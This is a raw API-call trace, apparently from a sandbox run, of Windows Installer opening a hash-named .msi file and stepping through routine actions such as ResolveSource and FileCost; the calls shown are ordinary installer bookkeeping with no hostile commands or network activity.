GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.537] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x21)) [0124.537] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.537] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.537] memcpy (in: _Dst=0x36e0ea, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36e0ea) returned 0x36e0ea [0124.537] memcpy (in: _Dst=0x36e0fa, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x36e0fa) returned 0x36e0fa [0124.537] memcpy (in: _Dst=0x36e0fe, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x36e0fe) returned 0x36e0fe [0124.537] SetLastError (dwErrCode=0x0) [0124.537] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.537] memcpy (in: _Dst=0x36e0fe, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e0fe) returned 0x36e0fe [0124.537] memcpy (in: _Dst=0x36e104, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x36e104) returned 0x36e104 [0124.537] memcpy (in: _Dst=0x36e122, _Src=0x34b110, _Size=0x2 | out: _Dst=0x36e122) returned 0x36e122 [0124.537] SetLastError (dwErrCode=0x0) [0124.537] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.537] memcpy (in: _Dst=0x36e122, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e122) returned 0x36e122 [0124.537] memcpy (in: _Dst=0x36e128, _Src=0x34b114, _Size=0x2 | out: _Dst=0x36e128) returned 0x36e128 [0124.537] GetCurrentThreadId () returned 0xf50 [0124.537] GetCurrentThreadId () returned 0xf50 [0124.538] SetEvent (hEvent=0x170) returned 1 [0124.538] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.578] SetLastError (dwErrCode=0xd) [0124.578] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0124.578] SetLastError (dwErrCode=0xd) [0124.579] lstrlenW (lpString="ActionText") returned 10 [0124.579] lstrcmpW (lpString1="Advertise", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="AppSearch", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="BindImage", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="CCPSearch", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="CostFinalize", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="CostInitialize", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="CreateFolders", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="CreateShortcuts", lpString2="ResolveSource") returned -1 [0124.579] lstrcmpW (lpString1="DeleteServices", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="DuplicateFiles", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="FileCost", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="FindRelatedProducts", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="GenerateScript", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="InstallAdminPackage", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="InstallFiles", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="InstallODBC", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="InstallServices", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="InstallValidate", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="LaunchConditions", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="MoveFiles", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="PatchFiles", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="ProcessComponents", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="PublishComponents", lpString2="ResolveSource") returned -1 [0124.580] lstrcmpW (lpString1="PublishFeatures", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="PublishProduct", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterClassInfo", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterComPlus", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterFonts", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterProduct", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RegisterUser", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveFiles", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveFolders", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveIniValues", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveODBC", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="ResolveSource") returned -1 [0124.581] lstrcmpW (lpString1="RemoveShortcuts", lpString2="ResolveSource") returned -1 [0124.582] lstrcmpW (lpString1="RMCCPSearch", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="Rollback", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="RollbackCleanup", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="SelfRegModules", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="SelfUnregModules", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="SetODBCFolders", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="StartServices", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="StopServices", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="UnmoveFiles", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="UnpublishComponents", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="UnpublishFeatures", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="UnpublishProduct", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="ResolveSource") returned 1 [0124.582] lstrcmpW (lpString1="UnregisterComPlus", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="UnregisterFonts", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="WriteIniValues", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="WriteRegistryValues", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="ShutdownApplications", lpString2="ResolveSource") returned 1 [0124.583] lstrcmpW (lpString1="ConfigureServices", lpString2="ResolveSource") returned -1 [0124.583] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="ResolveSource") returned -1 [0124.583] lstrlenW (lpString="ResolveSource") returned 13 [0124.583] lstrlenW (lpString="{{") returned 2 [0124.583] lstrlenW (lpString=": }}") returned 4 [0124.583] SetLastError (dwErrCode=0xd) [0124.583] lstrlenW (lpString="Time") returned 4 [0124.584] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x4f)) [0124.584] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.584] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x4f)) [0124.584] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.584] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x4f)) [0124.584] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.584] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.584] memcpy (in: _Dst=0x36e0de, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36e0de) returned 0x36e0de [0124.584] memcpy (in: _Dst=0x36e0ee, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36e0ee) returned 0x36e0ee [0124.584] memcpy (in: _Dst=0x36e0f2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36e0f2) returned 0x36e0f2 [0124.584] SetLastError (dwErrCode=0x0) [0124.584] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.584] memcpy (in: _Dst=0x36e0f2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e0f2) returned 0x36e0f2 [0124.584] memcpy (in: _Dst=0x36e0f8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36e0f8) returned 0x36e0f8 [0124.584] memcpy (in: _Dst=0x36e0fc, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36e0fc) returned 0x36e0fc [0124.584] SetLastError (dwErrCode=0x0) [0124.584] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.584] memcpy (in: _Dst=0x36e0fc, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e0fc) returned 0x36e0fc [0124.584] GetCurrentThreadId () returned 0xf50 [0124.584] GetCurrentThreadId () returned 0xf50 [0124.585] SetEvent (hEvent=0x170) returned 1 [0124.585] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.588] lstrlenW (lpString="ResolveSource") returned 13 [0124.588] SetLastError (dwErrCode=0xd) [0124.588] SetLastError (dwErrCode=0xd) [0124.588] lstrlenW (lpString="Time") returned 4 [0124.588] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x4f)) [0124.588] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.588] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x4f)) [0124.588] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.588] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x4f)) [0124.588] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.588] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.588] memcpy (in: _Dst=0x36e0ea, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36e0ea) returned 0x36e0ea [0124.588] memcpy (in: _Dst=0x36e0fa, _Src=0x376446, _Size=0x4 | out: _Dst=0x36e0fa) returned 0x36e0fa [0124.588] memcpy (in: _Dst=0x36e0fe, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36e0fe) returned 0x36e0fe [0124.588] SetLastError (dwErrCode=0x0) [0124.588] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.588] memcpy (in: _Dst=0x36e0fe, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e0fe) returned 0x36e0fe [0124.588] memcpy (in: _Dst=0x36e104, _Src=0x376450, _Size=0x2 | out: _Dst=0x36e104) returned 0x36e104 [0124.588] GetCurrentThreadId () returned 0xf50 [0124.588] GetCurrentThreadId () returned 0xf50 [0124.588] SetEvent (hEvent=0x170) returned 1 [0124.588] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.603] lstrlenW (lpString="SourceDir") returned 9 [0124.604] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0124.605] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0124.605] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop", UrlIs=0x0) returned 0 [0124.605] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop") returned 25 [0124.605] lstrlenW (lpString="\\") returned 1 [0124.605] lstrlenW (lpString="\\\\") returned 2 [0124.605] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop", _SubStr="\\\\") returned 0x0 [0124.605] lstrlenW (lpString="Users") returned 5 [0124.605] lstrlenW (lpString="Users") returned 5 [0124.605] lstrlenW (lpString="KEECFM~1") returned 8 [0124.605] lstrlenW (lpString="KEECFM~1") returned 8 [0124.605] lstrlenW (lpString="Desktop") returned 7 [0124.605] lstrlenW (lpString="Desktop") returned 7 [0124.605] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0124.605] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0124.605] lstrlenW (lpString="\\") returned 1 [0124.606] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.606] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0124.606] lstrlenW (lpString="SourceDir") returned 9 [0124.606] lstrlenW (lpString="SOURCEDIR") returned 9 [0124.607] lstrlenW (lpString="SourcedirProduct") returned 16 [0124.607] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\", UrlIs=0x0) returned 0 [0124.607] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\") returned 26 [0124.607] lstrlenW (lpString="\\") returned 1 [0124.607] lstrlenW (lpString="\\\\") returned 2 [0124.607] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop\\", _SubStr="\\\\") returned 0x0 [0124.607] lstrlenW (lpString="Users") returned 5 [0124.607] lstrlenW (lpString="Users") returned 5 [0124.607] lstrlenW (lpString="KEECFM~1") returned 8 [0124.607] lstrlenW (lpString="KEECFM~1") returned 8 [0124.607] lstrlenW (lpString="Desktop") returned 7 [0124.607] lstrlenW (lpString="Desktop") returned 7 [0124.607] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop\\") returned 24 [0124.607] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop\\") returned 24 [0124.607] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.607] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0124.607] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0124.607] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0124.607] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0124.608] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0124.608] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0124.608] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.608] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0124.608] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.608] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi")) returned 0x20 [0124.608] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0124.608] StgOpenStorage (in: pwcsName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10ce1b8 | out: ppstgOpen=0x10ce1b8*=0x2125c50) returned 0x0 [0124.719] IUnknown:AddRef (This=0x2125c50) returned 0x2 [0124.719] IStorage:Stat (in: This=0x2125c50, pstatstg=0x10ce0b0, grfStatFlag=0x0 | out: pstatstg=0x10ce0b0) returned 0x0 [0124.719] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0124.719] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10ce0a8 | out: ppMalloc=0x10ce0a8*=0x7fefd6b5380) returned 0x0 [0124.719] IMalloc:Free (This=0x7fefd6b5380, pv=0x21dfee0) [0124.719] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0124.719] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.719] IUnknown:Release (This=0x2125c50) returned 0x1 [0124.719] IStorage:Stat (in: This=0x2125c50, pstatstg=0x10ce0a0, grfStatFlag=0x1 | out: pstatstg=0x10ce0a0) returned 0x0 [0124.719] lstrlenW (lpString="\x05SummaryInformation") returned 19 [0124.719] IStorage:RemoteOpenStream (in: This=0x2125c50, pwcsName="\x05SummaryInformation", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce080, ppstm=0x2bec1f0 | out: ppstm=0x2bec1f0*=0x7fef7ac001e) returned 0x0 [0124.720] CExposedStream::Stat () returned 0x0 [0124.720] CExposedStream::Read () returned 0x0 [0124.720] CExposedStream::Release () returned 0x0 [0124.720] IUnknown:Release (This=0x2125c50) returned 0x0 [0124.720] GetTickCount () returned 0x1877d61 [0124.720] GetCurrentThreadId () returned 0xf50 [0124.720] GetCurrentThreadId () returned 0xf50 [0124.721] SetEvent (hEvent=0x170) returned 1 [0124.722] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.766] lstrlenW (lpString=":") returned 1 [0124.766] wcsstr (_Str="SourceDir", _SubStr=":") returned 0x0 [0124.767] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\", UrlIs=0x0) returned 0 [0124.767] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\") returned 26 [0124.767] lstrlenW (lpString="\\") returned 1 [0124.767] lstrlenW (lpString="\\\\") returned 2 [0124.767] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop\\", _SubStr="\\\\") returned 0x0 [0124.767] lstrlenW (lpString="Users") returned 5 [0124.767] lstrlenW (lpString="Users") returned 5 [0124.767] lstrlenW (lpString="KEECFM~1") returned 8 [0124.767] lstrlenW (lpString="KEECFM~1") returned 8 [0124.767] lstrlenW (lpString="Desktop") returned 7 [0124.767] lstrlenW (lpString="Desktop") returned 7 [0124.767] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop\\") returned 24 [0124.767] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop\\") returned 24 [0124.767] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.767] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0124.767] GetTickCount () returned 0x1877d90 [0124.768] lstrlenW (lpString=":") returned 1 [0124.768] wcsstr (_Str=".", _SubStr=":") returned 0x0 [0124.768] GetTickCount () returned 0x1877d90 [0124.768] lstrlenW (lpString=":") returned 1 [0124.768] wcsstr (_Str="bxjvilw7|[BZ.COMPANYNAME]", _SubStr=":") returned 0x0 [0124.768] lstrlenW (lpString="ResolveSource") returned 13 [0124.768] SetLastError (dwErrCode=0xd) [0124.768] SetLastError (dwErrCode=0xd) [0124.768] lstrlenW (lpString="Time") returned 4 [0124.768] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xdc)) [0124.768] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.768] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xdc)) [0124.768] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.768] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xdc)) [0124.768] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.768] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.768] memcpy (in: _Dst=0x36e34a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36e34a) returned 0x36e34a [0124.768] memcpy (in: _Dst=0x36e35a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x36e35a) returned 0x36e35a [0124.769] memcpy (in: _Dst=0x36e35e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x36e35e) returned 0x36e35e [0124.769] SetLastError (dwErrCode=0x0) [0124.769] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.769] memcpy (in: _Dst=0x36e35e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e35e) returned 0x36e35e [0124.769] memcpy (in: _Dst=0x36e364, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x36e364) returned 0x36e364 [0124.769] memcpy (in: _Dst=0x36e382, _Src=0x34b110, _Size=0x2 | out: _Dst=0x36e382) returned 0x36e382 [0124.769] SetLastError (dwErrCode=0x0) [0124.769] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.769] memcpy (in: _Dst=0x36e382, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e382) returned 0x36e382 [0124.769] memcpy (in: _Dst=0x36e388, _Src=0x34b114, _Size=0x2 | out: _Dst=0x36e388) returned 0x36e388 [0124.769] GetCurrentThreadId () returned 0xf50 [0124.769] GetCurrentThreadId () returned 0xf50 [0124.769] SetEvent (hEvent=0x170) returned 1 [0124.769] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.772] lstrlenW (lpString="ActionText") returned 10 [0124.772] lstrcmpW (lpString1="Advertise", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="AppSearch", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="BindImage", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="CCPSearch", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="CostFinalize", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="CostInitialize", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="CreateFolders", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="CreateShortcuts", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="DeleteServices", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="DuplicateFiles", lpString2="FileCost") returned -1 [0124.772] lstrcmpW (lpString1="FileCost", lpString2="FileCost") returned 0 [0124.772] lstrlenW (lpString="ProductLanguage") returned 15 [0124.772] SetLastError (dwErrCode=0x0) [0124.772] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.773] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x753c, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Computing space requirements\r\n") returned 0x1e [0124.777] lstrlenW (lpString="Computing space requirements") returned 28 [0124.777] FreeLibrary (hLibModule=0xc10002) 